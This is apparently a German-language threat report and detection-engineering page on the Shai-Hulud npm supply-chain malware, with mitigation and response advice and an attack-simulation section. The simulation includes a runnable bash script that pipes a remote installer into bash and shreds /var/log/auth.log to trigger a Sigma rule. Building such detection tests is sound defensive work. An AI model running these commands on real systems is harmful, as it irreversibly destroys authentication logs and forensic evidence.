Shai-Hulud: Weitverbreiteter Angriff auf die Lieferkette von npm

Zusammenfassung

GitLab hat einen weit verbreiteten Lieferketten-Einbruch aufgedeckt, der auf NPM-Ökosysteme abzielt. Die Kampagne verbreitet eine aktualisierte Variante der Shai-Hulud-Malware über bösartige Preinstall-Skripte. Diese Nutzlast sammelt Cloud- und Code-Host-Anmeldeinformationen, leitet Daten an von Angreifern kontrollierte GitHub-Repositories weiter und verbreitet sich weiter, indem trojanisierte Pakete neu veröffentlicht werden. Ein eingebauter Dead-Man’s-Switch kann Benutzerdateien löschen oder beschädigen, wenn die Infrastruktur des Angreifers gestört wird.

Untersuchung

GitLabs Schwachstellenforschungsteam verfolgte die Aktivität bis zu manipulierten NPM-Paketen zurück, deren modifizierte package.json auf einen setup_bun.js-Loader verweist. Dieser Loader installiert die Bun-Laufzeitumgebung und löst eine gebündelte bun_environment.js-Nutzlast aus, die Anmeldeinformationen sammelt, Trufflehog ausführt, um Geheimnisse zu entdecken, und Ergebnisse in ein öffentliches GitHub-Repository hochlädt. Die Malware erstellt auch neue GitHub-Repositories als Ablageboxen und missbraucht gestohlene NPM-Tokens, um kompromittierte Pakete neu zu veröffentlichen. Wenn der Zugriff auf sowohl GitHub als auch NPM unterbrochen wird, löscht oder überschreibt die Nutzlast Benutzerdateien.

Abschwächung

GitLab empfiehlt, dass Organisationen NPM-Abhängigkeiten auf unerwartete Preinstall-Skripte überprüfen und die Integrität veröffentlichter Pakete validieren. Teams sollten nicht autorisierte setup_bun.js-Loader entfernen, offengelegte NPM- und GitHub-Tokens widerrufen und auf verdächtige GitHub-Repositories mit der Markierung ‚Sha1-Hulud: The Second Coming‘ achten. Der Endpunktschutz sollte so konfiguriert sein, dass unvertrauenswürdige Node-Skripte blockiert und die zerstörerischen Befehlszeilen, die im Bericht dokumentiert sind, erkannt werden.

Reaktion

Wenn eine Aktivität erkannt wird, isolieren Sie das betroffene System, widerrufen alle kompromittierten Anmeldeinformationen und entfernen Sie bösartige NPM-Pakete aus internen Registern. Führen Sie eine forensische Überprüfung durch, um Datenexfiltration und Dateivernichtung zu bestätigen oder auszuschließen. Erstellen Sie neue Anmeldeinformationen für Cloud-Plattformen und GitHub und überwachen Sie GitHub kontinuierlich auf neu erstellte Repositories, die dem Marker des Angreifers entsprechen. Verstärken Sie schließlich CI/CD-Pipelines, um willkürliche Preinstall-Skripte zu verbieten.

Simulationsausführung

Voraussetzung: Der Telemetrie- und Grundlinien-Pre‑flight-Check muss bestanden sein.

Angriffserzählung & Befehle

Der Angreifer hat sich auf dem kompromittierten Linux-Host festgesetzt. Um eine persistente Laufzeitumgebung zu etablieren, die in der Lage ist, weitere JavaScript-basierte Nutzlasten auszuführen, laden sie die Bun-Laufzeitumgebung über eine Einzeiler herunter und installieren sie, der den Installer direkt in streamtbash. Unmittelbar nach der Bestätigung, dass die Laufzeitumgebung vorhanden ist, löst der Angreifer einen ‚Dead-Man’s Switch‘ aus (hier simuliert durch ein zeitlich festgelegtes sleep), der eine zerstörerische shred Operation startet, um eine sensible Datei unwiederbringlich zu löschen (/var/log/auth.log).

Die Schritte sind:

1. Bun herunterladen & installieren:

   curl -fsSL https://bun.sh/install | bash

2. Kurz warten (Simulation der Switch-Zeit).
3. Zerstörerische shred ausführen:

   shred -uvz -n 1 /var/log/auth.log

Beide Befehle erzeugen Ereignisse zur Prozesserstellung, die genau den Schlüsselwörtern der Sigma-Regel entsprechen.

Regressionstest-Skript

#!/bin/bash
# -------------------------------------------------
# Simuliere Shai-Hulud “Bun install + shred” Verhalten
# -------------------------------------------------

# 1️⃣ Bun installieren (genauer Befehl erforderlich für Erkennung)
echo "[*] Bun-Laufzeitumgebung wird installiert..."
curl -fsSL https://bun.sh/install | bash

# Kurze Pause, um realistisches Timing zu emulieren
sleep 5

# 2️⃣ Destruktive Datei-Auslöschung durchführen (genauer Befehl erforderlich)
TARGET_FILE="/var/log/auth.log"
if [[ -f "$TARGET_FILE" ]]; then
    echo "[*] Shreddering $TARGET_FILE ..."
    shred -uvz -n 1 "$TARGET_FILE"
else
    echo "[!] Zieldatei nicht gefunden; Dummy-Datei für Demo wird erstellt."
    echo "Dummy-Daten" > "$TARGET_FILE"
    shred -uvz -n 1 "$TARGET_FILE"
fi

echo "[*] Simulation abgeschlossen."

Bereinigungskommandos

#!/bin/bash
# -------------------------------------------------
# Bereinigen nach der Bun/Shred-Simulation
# -------------------------------------------------

# Entfernen aller verbleibenden Bun-Dateien (falls installiert)
if command -v bun >/dev/null 2>&1; then
    echo "[*] Bun-Laufzeitumgebung wird entfernt..."
    rm -rf "$HOME/.bun"
    rm -f /usr/local/bin/bun
fi

# Wiederherstellen der geschredderten Logdatei (für Systemstabilität)
TARGET_FILE="/var/log/auth.log"
if [[ ! -f "$TARGET_FILE" ]]; then
    echo "wiederhergestellter Protokollplatzhalter" | sudo tee "$TARGET_FILE" >/dev/null
    sudo chmod 600 "$TARGET_FILE"
fi

echo "[*] Bereinigung abgeschlossen."